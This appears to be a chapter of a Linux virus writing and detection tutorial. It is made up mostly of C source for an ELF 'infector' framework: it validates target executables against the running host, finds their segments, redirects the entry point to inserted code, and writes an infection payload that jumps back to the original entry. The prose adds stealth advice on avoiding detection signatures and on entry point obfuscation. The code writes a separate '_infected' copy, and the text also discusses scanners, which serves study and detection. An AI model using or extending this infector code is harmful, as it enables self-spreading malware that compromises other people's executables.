To take a significant step forward, you must make a series of finite improvements. | |
Donald J. Atwood, General Motors |
The first two functions are used by both scanners and infectors. The rest is specific to infectors but independent of infection methods.
A visible virus is a dead virus. Breaking things is quite the opposite of invisibility. So before you even think about polymorphism and stealth mechanisms you should go sure your code does nothing unexpected. On the other hand exhaustive checks of target files will severely increase code size. And verifying signatures and other constant values is likely to make the virus code itself a constant signature. A better approach is to compare the target with the host executable currently running the virus. SELF is defined in target.h.
Finding a meaningful set of tests is an art in it itself. For example some executables of Red Hat 8.0 have an additional program header of type GNU_EH_FRAME. This means that e_phnum can differ between infector and target.
Source: src/one_step_closer/is_elf.inc
bool target_is_elf(Target* t)
{
enum { CMP_SIZE = offsetof(TEVWH_ELF_EHDR, e_entry) };
TEVWH_ELF_EHDR* ehdr = t->image.ehdr;
TRACE_DEBUG(-1, "target_is_elf SELF=%p\n", SELF);
CHECK(SCAN, 0, ==, memcmp(&ehdr->e_ident, &SELF->e_ident, CMP_SIZE));
CHECK(SCAN, ehdr->e_phoff, ==, SELF->e_phoff);
CHECK(SCAN, ehdr->e_ehsize, ==, SELF->e_ehsize);
CHECK(SCAN, ehdr->e_phentsize, ==, SELF->e_phentsize);
CHECK(SCAN, ehdr->e_shentsize, ==, SELF->e_shentsize);
return true;
} |
Finding code and data segment in a loop is really overkill. Usual installations are populated by just two kinds of executables, statically or dynamically linked. An alternative implementation could just check whether the first program header is type PT_PHDR and assume a static executable otherwise. Anyway, this way we can do some general checks. See Segments[ABC] for details.
Source: src/one_step_closer/get_seg.inc
bool target_get_seg(Target* t)
{
TEVWH_ELF_PHDR* phdr;
unsigned nr_load;
unsigned nr;
TEVWH_ELF_PHDR* phdr_data;
TEVWH_ELF_PHDR* phdr_code;
TRACE_DEBUG(-1, "target_get_seg\n");
t->phdr_dynamic = 0;
t->phdr_note = 0;
phdr = t->phdr = (TEVWH_ELF_PHDR*)(t->image.b + t->image.ehdr->e_phoff);
nr_load = 0;
for(nr = t->image.ehdr->e_phnum; nr > 0; nr--, phdr++)
{
switch(phdr->p_type)
{
case PT_LOAD: nr_load++; phdr_data = phdr; break;
case PT_DYNAMIC: t->phdr_dynamic = phdr; break;
case PT_NOTE: t->phdr_note = phdr; break;
}
}
CHECK(SCAN, nr_load, ==, 2);
CHECK(SCAN, (long)phdr_data, !=, 0);
/* both segments lie right next to each other */
t->phdr_code = phdr_code = phdr_data - 1;
CHECK(SCAN, phdr_data->p_type, ==, PT_LOAD);
CHECK(SCAN, phdr_code->p_type, ==, PT_LOAD);
/* a code segment with trailing 0-bytes makes no sense */
CHECK(SCAN, phdr_code->p_filesz, ==, phdr_code->p_memsz);
t->end_of_cs = phdr_code->p_offset + phdr_code->p_filesz;
t->aligned_end_of_cs = ALIGN_UP(t->end_of_cs);
return true;
} |
Infectors provide only minimal statistics. See print_summary #2.
Source: src/one_step_closer/print_summary.inc
int print_summary(int stat[])
{
int failed = stat[0] - stat[1];
print_errno(-1, "files=%d; ok=%d; failed=%d\n",
stat[0], stat[1], stat[0] - stat[1]
);
return failed;
} |
This is the logic of all infectors based on the framework. Scanners do something different, see target_action #2.
Source: src/one_step_closer/action.inc
bool target_action(Target* t, int stat[])
{
size_t code_size;
TRACE_DEBUG(-1, "target_action\n");
if (target_patch_entry_addr(t) &&
target_patch_phdr(t) &&
target_patch_shdr(t) &&
target_open_dst(t) &&
target_copy_and_infect(t, &code_size)
)
{
TRACE_INFECT(-1, "%s ... wrote %u bytes, Ok\n", t->clean_src, code_size);
return true;
}
return false;
} |
Modifying e_entry is the obvious way to activate inserted code. It is quite simple to detect, however. See The entry point[ABC] for possible improvements. Directory name e1 means that this is the first (orthogonal) implementation. The issue is independent of the chosen infection method. Well, almost independent. Entry point obfuscation generally means that virus code is activated later. Some infection methods must clean up things or the target will crash, though.
Anyway, without this function the behavior of the target is not modified. If the infection methods prevents double infection by design, this can be used for vaccination in the true meaning of the word: Infection with a deactivated mutation makes the target immune against less friendly attackers.
Source: src/one_step_closer/e1/patch_entry_addr.inc
bool target_patch_entry_addr(Target* t)
{
TRACE_DEBUG(-1, "target_patch_entry_addr\n");
t->original_entry = t->image.ehdr->e_entry;
t->image.ehdr->e_entry = target_new_entry_addr(t);
TRACE_DEBUG(-1, "original_entry=%08x e_entry=%08x\n",
t->original_entry, t->image.ehdr->e_entry);
return true; /* this implementation can't fail */
} |
Infectors write a modified copy of the target into the current directory. The file name is build by appending the letters _infected. It really should be hard to overlook.
Source: src/one_step_closer/open_dst.inc
bool target_open_dst(Target* t)
{
enum { FLAGS = O_WRONLY | O_CREAT | O_TRUNC };
static const char suffix[] = "_infected";
const char* base;
size_t len;
char* dst_filename;
TRACE_DEBUG(-1, "target_open_dst %s\n", t->src_file);
base = strrchr(t->src_file, '/');
base = (base == 0) ? t->src_file : base + 1;
len = strlen(base);
/* can't use check for malloc since it returns void*, not int */
dst_filename = malloc(len + sizeof(suffix));
if (dst_filename == 0)
{
TRACE_ERROR(-1, "malloc(%u) failed", len + sizeof(suffix));
return false;
}
memcpy(dst_filename, base, len);
memcpy(dst_filename + len, suffix, sizeof(suffix));
/* in case of error this is a memory leak (on dst_filename) */
CHECK_ERRNO(0, <=, t->fd_dst = open(dst_filename, FLAGS, 0775));
free(dst_filename);
return true;
} |
This function is called from within target_copy_and_infect #1. This implementation of target_write_infection does not require a special infection method but is not insertable itself. See Doing it in C[ABC] for something more realistic. Anyway, infection is an array of bytes generated by Dressing up binary code. Constant ENTRY_POINT_OFS points to the location inside this array to patch with the original entry address.
Source: src/one_step_closer/write_infection.inc
bool target_write_infection(Target* t, size_t* code_size)
{
enum { ADDR_SIZE = sizeof(((Target*)0)->original_entry) };
enum { REST_OFS = ENTRY_POINT_OFS + ADDR_SIZE };
TRACE_DEBUG(-1, "target_write_infection "
"ENTRY_POINT_OFS=%d ADDR_SIZE=%d\n", ENTRY_POINT_OFS, ADDR_SIZE
);
/* i386: first byte is the opcode for "push" */
CHECK_WRITE(infection, ENTRY_POINT_OFS);
/* i386: next four bytes is the address to "ret" to */
CHECK_WRITE(&t->original_entry, sizeof(t->original_entry));
/* rest of infective code */
CHECK_WRITE(infection + REST_OFS, sizeof(infection) - REST_OFS);
*code_size = sizeof(infection);
return true;
} |